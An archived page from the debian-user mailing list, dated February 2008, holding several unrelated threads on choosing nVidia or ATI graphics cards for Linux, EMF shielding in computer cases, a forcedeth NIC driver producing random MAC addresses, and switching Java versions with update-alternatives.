|> MSI NX8600GTS-T2D256E-OC GeForce 8600GTS 256MB 128-bit GDDR3 PCI
Express x16
|> http://www.newegg.com/Product/Product.aspx?Item=N82E16814127284
|
|> XFX PVT84GUDF3 GeForce 8600GTS 256MB 128-bit GDDR3 PCI Express x16
|> http://www.newegg.com/Product/Product.aspx?Item=N82E16814150228
|
| Unless you are doing *serious* 3D work, Linux just does *not* need
| leading-edge video.
|
| I purchased a fanless PCI-e ASUS EN7200GS card with 256MB (maybe
| 128MB) RAM from NewEgg, and am very happy with it.
|

ive been using nvidia cards on all my computers with linux over the last
~ 4 years with good luck. (proprietary driver) Tried an ATI card a couple
years ago and wound up putting it my sons windows box, as I couldnt get
it to work properly with 3d on suse was what I was using at the time.
but that was a couple years ago.  I use the ati proprietary driver on my
laptop now, and have decent performance with it.  I believe the general
consensus is on all the lists I subscribe to is that nvidia is generally
more advanced at this point, but ati is slowly coming around.  If it
were me, id stick with nvidia for now, good luck.


- --
Steve Reilly

http://reillyblog.com


-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFHr7er1L48K811Km0RAtqDAKDBL+XTk5wcBiGL9zZv4vvLT3n6hwCdGnEJ
JTkVw/on+NmpiBYLUyEYsXs=
=4Rp3
-END PGP SIGNATURE-


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: [OT] beefy steel cases

2008-02-10 Thread Michael D. Norwick
Douglas A. Tutty wrote:

In perusing non-propriatary (not IBM, HP, Dell, etc) high quality cases,
the SuperMicro brand has come up a lot.

Based on what I've been learning about EMF shielding, the case in which
my Athlon64 is house is inadequate (too many grills insolated with bits
of plastic from the surounding case, aluminum instead of steel, etc).

I'm wondering about a SuperMicro case for the Athlon64.  Does anyone
have any experience with them?  Are they steel?  Does steel back up any
plastic trim pieces?  On hot-swap trays (in case I find a used one), is
there metal between the drive and the front latch handle?  Is the drive
bay door metal or plastic?

Have you had good experince with SuperMicro?

Thanks,

Doug.


  
Please forgive my boldness and ignorance, but after watching this thread 
for days now, I fail to get a sense of how it has anything to do with 
Debian.


Having some experience with Rf, EMI and any other acronym you care to 
apply to the physics of your problem, it appears that;


1. You've yet to find the exact root cause of your wife's discomfort.
2. You are, IMHO, trying to make a Cessna 150 fly like an F18.
3. You are trying to come up with a shade tree (backyard type) solution 
to a government financed problem (think $$$ or €€€).


Analyzing the root cause.
http://www.grove-ent.com/alphalab.html
http://www.nelco-usa.com/

A number of industrial solutions.
http://www.emccomponent.com/products/?gclid=CJuy4ryDu5ECFSQpIgod7DtwOA
http://www.tech-etch.com/shield/index.html
http://www.freepatentsonline.com/6411522.html

But, I guess any disturbance I've had about Off-Topic posts has now been 
negated by the fact that I've just contributed to one.
Short of living in an (http://en.wikipedia.org/wiki/Anechoic_chamber), I 
can't see an easy solution to your desire for performance/useability, 
and effectiveness, without some 'ching'. I do my best to stretch a 
quarter into a dollar also. But, some solutions just take cash (or Visa, 
if you

prefer:)).
Other problems may never find a solution. Can your wife shop a Wal-Mart 
with their standardization on RFID tags? We live in a wireless world in 
which data transmission (and soon power) via wireless devices has become 
the standard. Add to this the fact that we are pumping more Megawatts 
over High Tension transmission lines than ever before. Cell phones are 
probably to surpass landlines in usage in the near future, The spectrum 
gets more crowded (and valuable) every day. Makes it kind of tough on 
sensitive humans, Canadian geese or earthworms.


Michael


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Gigabyte M61P-S3 and wild MAC address of ethernet interface

2008-02-10 Thread David Parker
> Problem solved! :-D
> 
> Thank you for your help.
> 
> I am still wondering why this kind of problem is possible. Is 
> the 
> problem the hardware, the driver or the kernel? Or is it just 
> the 
> "property" that I am not aware of?
> 
> 
> Tero Mäntyvaara
> 

Hello,

I have this exact same motherboard, and I experienced this same problem.  As I 
understand it (through several Google searches), the main cause of the problem 
is that the onboard Nvidia NIC is not supported correctly by the forcedeth 
driver in Etch.  Basically, the driver isn't able to correctly query the NIC 
for the MAC address.  Because it's not able to get a real MAC address from NIC, 
it assigns a random one instead, which causes some bizarre behavior.  The 
specific problem that I was having was that the device number of the NIC would 
change each time I rebooted (since the MAC address was different), so it was 
eth0, then eth1, then eth2, etc.

Another person also had problems with this NIC and the forcedeth driver.  That 
post is here:

http://lists.debian.org/debian-user/2007/10/msg02402.html

Hope this helps.

- Dave



Re: Multiple Java installed, how to switch?

2008-02-10 Thread Magnus Therning
Александър Л. Димитров wrote:
> Quoth Davide Mancusi:
>> Magnus Therning ha scritto:
>>> How do I make sure that all the java-related links in /etc/alternatives
>>> are sane?
>>>
>>> I installed icedtea, then purged it and installed sun-java5 and
>>> sun-java6.  Some links in /etc/alternatives are still pointing to the
>>> (now non-existing) tools that came with icedtea.  How do I easily switch
>>> them to all point to the tools of a specific java package?
>>  That's weird. Does the following help?
>> # update-alternatives --config java
>> You might want to try also
>> # update-alternatives --auto java
>> and have a look at the other link groups related to java (man  
>> update-alternatives).
> 
> There also is 'update-java-alternatives'. Should do the same thing...
> 
> # update-java-alternatives -l
> java-6-sun 63 /usr/lib/jvm/java-6-sun
> java-gcj 1042 /usr/lib/jvm/java-gcj
> # update-java-alternatives -s java-gcj  
> #
> 
> this should take care of your problem.

Indeed it does :-)  It was exactly the kind of thing I was looking for,
thanks!

/M

-- 
Magnus Therning (OpenPGP: 0xAB4DFBA4)
magnus@therning.org Jabber: magnus.therning@gmail.com
http://therning.org/magnus

What if I don't want to obey the laws? Do they throw me in jail with
the other bad monads?
 -- Daveman



signature.asc
Description: OpenPGP digital signature


  1   2   >